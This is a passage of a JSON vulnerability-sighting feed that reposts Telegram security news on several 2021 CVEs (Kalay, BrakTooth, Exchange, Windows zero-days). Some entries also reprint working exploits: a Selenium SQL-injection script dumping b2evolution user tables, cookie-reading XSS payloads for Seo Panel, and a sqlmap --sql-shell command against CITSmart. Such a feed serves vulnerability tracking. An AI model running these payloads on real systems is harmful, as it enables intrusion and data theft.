device.\u201d\n\nThe world has already been inundated with tales of what can happen when these kind of devices are misconfigured or riddled with vulnerabilities, and this just adds to the growing pile of scary headlines. For example, in February, a vulnerability affecting multiple baby monitors was found to expose hundreds of thousands of live devices, potentially allowing someone to drop in and view a camera\u2019s video stream.\n\nAs Mandiant explained, the flaw would enable adversaries \u201cto remotely compromise victim IoT devices, resulting in the ability to listen to live audio, watch real time video data, and compromise device credentials for further attacks based on exposed device functionality. These further attacks could include actions that would allow an adversary to remotely control affected devices.\u201d\n\nIn a Tuesday post, researchers Jake Valletta, Erik Barzdukas and Dillon Franke \u2013 who discovered the bug \u2013 explained that it\u2019s impossible to compile a comprehensive list of companies and products affected, given how the Kalay protocol is integrated by manufacturers and resellers before devices reach consumers. Though they couldn\u2019t come up with a definitive list of affected companies and products that implement the Kalay platform, they strongly advised users of IoT devices \u201cto keep device software and applications up to date and use complex, unique passwords for any accounts associated with these devices.\u201d\nSee Also: Critical Valve Bug Lets Gamers Add Unlimited Funds to Steam Wallets Mandiant also recommends that device owners avoid connecting to affected devices from untrusted networks, such as public Wi-Fi: a recommendation that\u2019s already part of wireless best practices, as the National Security Agency (NSA) recently advised\u00a0in a public service announcement (PDF). Kalay: A Newly Unappealing HandshakeAccording to ThroughTek, \u201cKalay\u201d is an indigenous Dawu\u00a0word that means \u201chandshake,\u201d \u201csymbolizing the universal link in an interconnected world.\u201d\n\nThroughTek implements that handshake \u2013 the Kalay protocol \u2013 as a software development kit (SDK). The Kalay SDK provides a plug-and-play network to easily connect smart devices with corresponding mobile apps.\n\nThe researchers provided an illustration that g[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:28.171888Z"}, {"uuid": "9a18aa5e-daff-4afa-9b4d-42a7ae7b16ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28372", "type": "seen", "source": "https://t.me/hacking_Attack/20614", "content": "ntent/uploads/sites/103/2021/08/17113113/capturing-credentials-e1629214353657.png Attacker exploiting device personation vulnerability to capture credentials. Source: Mandiant.\nAfter that, a threat actor can remotely connect to the victimized device, access audio/visual data and execute remote procedure calls (RPC), Mandiant said. Due to vulnerabilities in the device-implemented RPC interface, this can then lead to \u201cfully remote and complete device compromise,\u201d researchers described. Their enumeration of what makes this possible: \u201cMandiant observed that the binaries on IoT devices processing Kalay data typically ran as the privileged user root and lacked common binary protections such as Address Space Layout Randomization (\u201cASLR\u201d), Platform Independent Execution (\u201cPIE\u201d), stack canaries, and NX bits.\u201d\n\nThe figure below shows a hypothetical attack using the captured Kalay credentials to stage yet another attack by abusing the vulnerabilities in the Kalay RPC interface: https://media.threatpost.com/wp-content/uploads/sites/103/2021/08/17114402/Screen-Shot-2021-08-17-at-11.43.08-AM-e1629215096109.png See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerMandiant isn\u2019t releasing public exploit code, but it did provide the video below, which demonstrates a proof of concept for CVE-2021-28372. How to Address the BugMandiant \u201cstrongly recommends\u201d that companies using the Kalay platform follow the following guidance from ThroughTek and Mandiant:\n\n* If the implemented SDK is below version 3.1.10, upgrade the library to version 3.3.1.0 or version 3.4.2.0 and enable the Authkey and Datagram Transport Layer Security (DTLS) features provided by the Kalay platform.\n* If the implemented SDK is version 3.1.10 and above, enable Authkey and DTLS.\n* Review security controls in place on APIs or other services that return Kalay unique identifiers (UIDs).\n* Hardening features such as ASLR, PIE, NX, and stack canaries should be enabled on all binaries processing Kalay data and RPC functions should be treated as untrusted and sanitized appropriately.\n* IoT device manufactures should apply stringent controls around web APIs used to obtain Kalay UIDs, usernames, and passwords to minimize an attacker\u2019s ability to harvest sensitive materials needed to access devices remotely. Failure to protect web APIs which return valid Kalay UIDs could allow an attacker to compromise a large number of devices.\n\nMandiant thanked ThroughTek and CISA for their cooperation and support with releasing the advisory and for their \u201ccommitment to securing IoT devices globally.\u201d\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Steam-logo-90x90.jpg Critical Valve Bug Lets Gamers Add Unlimited Funds to Steam Wallets1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/tmobile-header-90x90.webp Hacker claims to steal data of 100 million T-mobile customers2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/depositphotos_40325161-stock-photo-microsoft-building-90x90.jpg Microsoft Warns: Another Unpatched PrintNightmare Zero-Day5 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/crypto-hack-90x90.jpg Crypto Hack Earned Crooks $600 Million6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/msft-microsoft-logo-2-3-90x90.webp Actively Exploited Windows Zero-Day Gets a Patch1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/botnet-90x90.jpg Auth Bypass Bug Exploited, Affecting Millions of Routers1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/cisco-patch-90x90.png Critical Cisco Bug in VPN Routers Allows Remote Takeover1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/delete-telegram-message-e1628177080[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:28.218208Z"}, {"uuid": "ae3cc16d-4728-4359-9887-7b1bd0d60ea3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28139", "type": "seen", "source": "https://t.me/hacking_Attack/22453", "content": "Black Hat Ethical Hacking\nBluetooth Bugs Open Billions of Devices to DoS, Code Execution\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Bluetooth Bugs Open Billions of Devices to DoS, Code ExecutionPost Views: 70 \nReading Time: 2 Minutes\nResearchers have disclosed a group of 16 different vulnerabilities collectively dubbed BrakTooth, which impact billions of devices that rely on Bluetooth Classic (BT) for communication.\nAccording to an academic paper from the University of Singapore, the bugs are found in the closed commercial BT stack used by at least 1,400 embedded chip components, that can lead to a host of attack types \u2013 mainly denial of service (DoS) via firmware crashes (the term \u201cbrak\u201d is actually Norwegian for \u201ccrash\u201d). One of the bugs can also lead to arbitrary code execution (ACE).\n\nThe team analyzed 13 pieces of BT hardware from 11 vendors; so far, there have been 20 CVEs assigned across them; with four vulnerabilities pending CVE assignments from Intel and Qualcomm. Some of the bugs are patched, others are in the process of being patched; but, researchers said in the paper, \u201cit is highly probable that many other products (beyond the \u22481400 entries observed in Bluetooth listing) are affected by BrakTooth,\u201d including BT system-on-chips (SoCs), BT modules or additional BT end products.\nSee Also: Complete Offensive Security and Ethical Hacking Course Potentially, billions of devices could be affected worldwide, researchers said.\n\nHere\u2019s a table of the 16 bugs:\nhttps://media.threatpost.com/wp-content/uploads/sites/103/2021/09/02135933/BrakTooth.png \nSummary of new vulnerabilities and other anomalies found (Vx:\u00a0Vulnerability,\u00a0Ax:\u00a0Non-compliance).\nAnd here\u2019s a list of known affected vendors:\nhttps://media.threatpost.com/wp-content/uploads/sites/103/2021/09/02140009/BrakTook-Vendors.png \nNumber of product listings with respect to BT SoC.\nThe researchers uncovered three main attack scenarios for the bugs, the most severe of which results in ACE on internet-of-things (IoT) devices.\nSee Also: Critical Valve Bug Lets Gamers Add Unlimited Funds to Steam Wallets Arbitrary Code Execution for Smart Home DevicesThe most critical vulnerability (CVE-2021-28139) affects ESP32 SoCs, a series of low-cost, low-power SoC microcontrollers with integrated Wi-Fi and dual-mode Bluetooth, from the vendor Espressif. These are commonly found in IoT appliances used in industry automation, smart-home device, personal fitness gadgets and more.\n\n\u201cA lack of out-of-bounds check in ESP32 BT Library allows the reception of a mutated LMP_feature_response_ext,\u201d according to the paper. \u201cThis results in the injection of eight bytes of arbitrary data outside the bounds of Extended Feature Page Table.\u201d\n\nTo exploit it, an attacker who knows the firmware layout of a target device can write a known function address (JMP Addr.) to the offset pointed by Features Page field.\n\nResearchers successfully forced ESP32 into erasing data housed in devices\u2019 non-volatile random-access memory (NVRAM), which retains data without applied power. They were also able to disable both BT and Wi-Fi on the device; and most concerningly, control the general-purpose input/output (GPIO) of the device if the attacker knows addresses to attached functions-controlling actuators. GPIO is used to communicate the ON/OFF signals received from connected switches, or the digital readings received from connected sensors, to the CPU.\n\n\u201cThis has serious implications if such an attack is applied to Bluetooth-enabled smart home products,\u201d the researchers warned.\nSee Also: Offensive Security Tool: Starkiller DoSing Laptops & SmartphonesThe second attack scenar[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:25.738420Z"}, {"uuid": "33d1a4ed-c75f-4816-91b2-20528f041793", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28092", "type": "seen", "source": "https://t.me/hacking_Attack/17160", "content": "and browsing a website using an old version of ua-parser may cause the server to take a long time to process your request, probably ending in status 502. InstallationPython 3.8+ is required. To extract regexes from JavaScript / TypeScript code, NodeJS 12+ is also required.\n\nOptionally make a virtual environment python3 -m venv .env\nsource .env/bin/activateNow actually install with pip pip install regexploit UsageRegexploit with a list of regexesEnter regular expressions via stdin (one per line) into regexploit. regexploitor via a file cat myregexes.txt | regexploitExtract regexes automaticallyThere is built-in support for parsing regexes out of Python, JavaScript, TypeScript, C#, YAML and JSON. Python codeParses Python code (without executing it) via the AST to find regexes. The regexes are then analysed for ReDoS. regexploit-py my-project/\nregexploit-py \"my-project/**/*.py\" --globJavascript / TypescriptThis will use the bundled NodeJS package in regexploit/bin/javascriptwhich parses your JavaScript as an AST with eslint and prints out all regexes.\n\nThose regexes are fed into the python ReDoS finder. regexploit-js my-module/my-file.js another/file.js some/folder/\nregexploit-js \"my-project/node_modules/**/*.js\" --globN.B. there are differences between javascript and python regex parsing so there may be some errors. I'm not sure I want to write a JS regex AST! Python importsSearch for regexes in all the python modules currently installed in your path / env. This means you can pip installwhatever modules you are interested in and they will be analysed. Cpython code is included. regexploit-python-envN.B. this doesn't parse the python code to an AST and will only find regexes compiled automatically on module import. Modules are actually imported, so code in the modules will be executed. This is helpful for finding regexes which are built up from smaller strings on load e.g. CVE-2021-25292 in Pillow JSON / YAMLYaml support requires pyyaml, which can be installed with pip install regexploit[yaml]. regexploit-json *.json\nregexploit-yaml *.yamlC# (.NET)regexploit-csharp something.csBugs reported* CVE-2020-5243: uap-core affecting uap-python, uap-ruby, etc. (User-Agent header parsing)\n* CVE-2020-8492: cpython's urllib.request (WWW-Authenticate header parsing)\n* CVE-2021-21236: CairoSVG (SVG parsing)\n* CVE-2021-21240: httplib2 (WWW-Authenticate header parsing)\n* CVE-2021-25292: python-pillow (PDF parsing)\n* CVE-2021-26813: python-markdown2 (Markdown parsing)\n* CVE-2021-27290: npm/ssri (SRI parsing)\n* CVE-2021-27291: pygments lexers for ADL, CADL, Ceylon, Evoque, Factor, Logos, Matlab, Octave, ODIN, Scilab & Varnish VCL (Syntax highlighting)\n* CVE-2021-27292: ua-parser-js (User-Agent header parsing)\n* CVE-2021-27293: RestSharp (JSON deserialisation in a .NET C# package)\n* bpo-38804: cpython's http.cookiejar (Set-Cookie header parsing)\n* SimpleCrawler (archived) (HTML parsing)\n* CVE-2021-28092: is-svg (SVG parsing)\n* nuget.org, NuGetGallery and NuGet.Client (Parsing NuGet package IDs)\n* markdown (python) (Markdown parsing)\n* ansi-html (nodejs) (ANSI parsing)\n* Plus unpublished bugs in a handful of pypi, npm, ruby and nuget packages CreditsThis tool has been created by Ben Caller of Doyensec LLC during research time. https://camo.githubusercontent.com/604dfb1a1bfac98d0048f363e0e6d65bd88b4fdbd57f5b001a8f76ea580c1097/68747470733a2f2f646f79656e7365632e636f6d2f696d616765732f6c6f676f2e737667 Download Regexploit\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:32.748142Z"}, {"uuid": "c9f50c2e-db54-419a-b6f6-adef72dd141c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28133", "type": "seen", "source": "https://t.me/hacking_Attack/1685", "content": "hacking: security in practice\nZoom Unintended Screen Sharing Vulnerability POC (CVE-2021-28133)\n\nhttps://b.thumbs.redditmedia.com/mKiWB9x9Ha0hek1Dz4G_wHoia65XvdXJplCM7NBrdAw.jpg submitted by /u/Vulmon \n[link] [comments]", "creation_timestamp": "2026-09-01T20:02:50.374701Z"}, {"uuid": "c4b38d3c-bd77-4167-9725-75341a5cf395", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "seen", "source": "https://t.me/hacking_Attack/12056", "content": "vulnerability in Chrome and Chromium browsers that allows attackers to exploit the Chrome renderer process (the processes that are responsible for what happens inside users\u2019 tabs).\nKaspersky experts did find and analyze the second exploit, however: An elevation of privilege exploit that exploits two distinct vulnerabilities in the Microsoft Windows OS kernel: CVE-2021-31955 and CVE-2021-31956. The CVE-2021-31955 bug \u201cis affiliated with SuperFetch, a feature first introduced in Windows Vista that aims to reduce software loading times by pre-loading commonly used applications into memory,\u201d they explained.\n\nThe second flaw, CVE-2021-31956, is an Elevation of Privilege vulnerability and heap-based buffer overflow. Kaspersky said that attackers used this vulnerability alongside Windows Notification Facility (WNF) \u201cto create arbitrary memory read/write primitives and execute malware modules with system privileges.\u201d\n\n\u201cOnce the attackers have used both the Chrome and Windows exploits to gain a foothold in the targeted system, the stager module downloads and executes a more complex malware dropper from a remote server,\u201d they continued. \u201cThis dropper then installs two executables, which pretend to be legitimate files belonging to Microsoft Windows OS. The second of these two executables is a remote shell module, which is able to download and upload files, create processes, sleep for certain periods of time, and delete itself from the infected system.\u201d\n\nBoris Larin, senior security researcher with Kaspersky\u2019s Global Research and Analysis Team (GReAT), said that the team hasn\u2019t been able to link these highly targeted attacks to any known threat actor: Hence the name PuzzleMaker and the determination to closely monitor the security landscape \u201cfor future activity or new insights about this group,\u201d he was quoted as saying in the press release.\n\nIf the current trend is any indication, expect to see more of the same, Larin said. \u201cOverall, of late, we\u2019ve been seeing several waves of high-profile threat activity being driven by zero-day exploits,\u201d he said. \u201cIt\u2019s a reminder that zero days continue to be the most effective method for infecting targets. Now that these vulnerabilities have been made publicly known, it\u2019s possible that we\u2019ll see an increase of their usage in attacks by this and other threat actors. That means it\u2019s very important for users to download the latest patch from Microsoft as soon as possible.\u201d CVE-2021-31199/CVE-2021-31201The two Enhanced Cryptographic Provider Elevation of Privilege vulnerabilities are linked to the Adobe Reader bug that came under active attack\u00a0last month (CVE-2021-28550), ZDI explained. \u201cIt\u2019s common to see privilege escalation paired with code execution bugs, and it seems these two vulnerabilities were the privilege escalation part of those exploits,\u201d he explained. \u201cIt is a bit unusual to see a delay between patch availability between the different parts of an active attack, but good to see these holes now getting closed.\u201d CVE-2021-33739Breen noted that privilege escalation vulnerabilities such as this one in the Microsoft DWM Core Library are just as valuable to attackers as RCEs. \u201cOnce they have gained an initial foothold, they can move laterally across the network and uncover further ways to escalate to system or domain-level access,\u201d he said. \u201cThis can be hugely damaging in the event of ransomware attacks, where high privileges can enable the attackers to stop or destroy backups and other security tools.\u201d\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-1-1-90x90.png RockYou2021: largest password compilation of all time leaked online \u2013 8.4 billion entries17 hours ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/microsoft-exploit-90x90.jpg Windows Container Malware Targets Kubernetes Clusters1 day ago\n* https://www.blackhatethicalhacking[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:37.457258Z"}, {"uuid": "6b33d937-fc05-4d0a-92f7-eda98c69cdf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-01T20:02:46.529389Z"}, {"uuid": "26c98d45-4bf0-4bd1-8a25-4fbd37718991", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28242", "type": "seen", "source": "https://t.me/hacking_Attack/7570", "content": "Exploit Collector\nb2evolution 7-2-2 SQL Injection\n\nhttps://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png b2evolution version 7-2-2 suffers from a remote SQL injection vulnerability.\n\nMD5 | 1ced09b619490337be3ea86e23221667Download # Exploit Title: b2evolution 7-2-2 obtaining sensitive database information by injecting SQL commands into the \"cf_name\" parameter\n# Author: @nu11secur1ty\n# Testing and Debugging: @nu11secur1ty\n# Date: 05.06.2021\n# Vendor: https://b2evolution.net/\n# Link: https://b2evolution.net/downloads/7-2-2\n# CVE: CVE-2021-28242\n# Proof: https://streamable.com/x51kso\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# CVE-2021-28242\nfrom selenium import webdriver\nimport time\n# Vendor: https://typo3.org/\nwebsite_link=\"\nhttp://192.168.1.3/b2evolution/index.php?disp=login&redirect_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&return_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&source=menu%20link\n\"\n\n# enter your login username\nusername=\"admin\"\n\n# enter your login password\npassword=\"FvsDq7fmHvWF\"\n\n#enter the element for username input field\nelement_for_username=\"x\"\n\n#enter the element for password input field\nelement_for_password=\"q\"\n\n#enter the element for submit button\nelement_for_submit=\"login_action[login]\"\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\n#browser = webdriver.Safari() #for macOS users[for others use chrome vis\nchromedriver]\n#browser = webdriver.Firefox() #uncomment this line,for chrome users\n\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit vulnerability MySQL obtain sensitive database information by\ninjecting SQL commands into the \"cf_name\" parameter\ntime.sleep(7)\n# Receaving sensitive info for evo_users\nbrowser.get((\"\nhttp://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT+*+FROM+%60evo_users%60+ORDER+BY+%60evo_&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections\n\"))\n\ntime.sleep(7)\n# Receaving sensitive info for evo_blogs\nbrowser.get((\"\nhttp://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_blogs`%20ORDER%20BY%20`evo_blogs`.`blog_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections\n\"))\n\ntime.sleep(7)\n# Receaving sensitive info for evo_section\nbrowser.get((\"\nhttp://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_section`%20ORDER%20BY%20`evo_section`.`sec_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections\"))\ntime.sleep(7)\nbrowser.close()\nprint(\"At the time, of the exploit, you had to see information about the\ntables...\\n\")\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Sorry, your exploit is not working for some reasons...\")\n\n---------------------------------\n\n# Exploit Title: b2evolution 7-2-2 obtaining sensitive database information\nby injecting SQL commands into the \"cf_name\" parameter\n# Date: 05.06.2021\n# Exploit Authotr idea: @nu11secur1ty\n# Exploit Debugging: @nu11secur1ty\n# Vendor Homepage: https://b2evolution.net/\n# Software Link: https://b2evolution.net/downloads/7-2-2\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-28242\n\n-- \nSystem Administrator - Infrastructure Engineer\nPenetration Testing Engineer\nExploit developer at https://www.exploit-db.com/\nhttps://www.nu11secur1ty.com/\nhiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=\nnu11secur1ty <http: Source:packetst[...]", "creation_timestamp": "2026-09-01T20:02:44.490563Z"}, {"uuid": "c756b0be-651b-4cb2-9068-ddd03c3ff36b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28417", "type": "seen", "source": "https://t.me/hacking_Attack/11112", "content": "Exploit Collector\nSeo Panel 4.8.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png \nSeo Panel version 4.8.0 suffers from multiple cross site scripting vulnerabilities.\n\nMD5 | 8ad5fb98ff68e1b4ac68594baa474a3b\n\nDownload\n# Exploit Title: Seo Panel 4.8.0 - 'search_name' Reflected XSS\n# Date: 21-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28417\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Add below line at the end:\nhttp://localhost/archive.php?from_time=2021-03-08&order_col=name&order_val=DESC&report_type=website-search-reports&search_name=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&sec=viewWebsiteSearchSummary&to_time=2021-03-09&website_id=http%3a%2f%2fwww.example.com\n3- Hover your mouse near to \"CTR\" field\n-----------\n# Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS\n# Date: 22-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28418\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Visit:\nhttp://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n3- Hover your mouse to \"Cancel\" field\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:40.148467Z"}, {"uuid": "ec9e3618-f744-40c6-87af-4a7a87774d7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28142", "type": "seen", "source": "https://t.me/hacking_Attack/4930", "content": "Exploit Collector\nCITSmart ITSM 9.1.2.27 SQL Injection\n\nhttps://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png \nCITSmart ITSM version 9.1.2.27 suffers from a remote time-based blind SQL injection vulnerability.\n\nMD5 | 3d24d2282ef6f774e3ec4558ad1409d1\n\nDownload\n# Exploit Title: CITSmart ITSM 9.1.2.27 - 'query' Time-based Blind SQL Injection (Authenticated)\n# Google Dork: \"citsmart.local\"\n# Date: 11/03/2021\n# Exploit Author: skysbsb\n# Vendor Homepage: https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html\n# Version: < 9.1.2.28\n# CVE : CVE-2021-28142\n\nTo exploit this flaw it is necessary to be authenticated.\n\nURL vulnerable:\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\nParam vulnerable: query\n\nSqlmap usage:  sqlmap -u \"\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\" --cookie 'JSESSIONID=xxx' --time-sec 1 --prefix \"')\" --suffix \"AND ('abc%'='abc\" --sql-shell\n\nAffected versions: < 9.1.2.28\nFixed versions: >= 9.1.2.28\n\nVendor has acknowledge this vulnerability at ticket 11216 (https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:46.797877Z"}, {"uuid": "376b5314-f54e-489c-9b79-c628deb4f097", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian 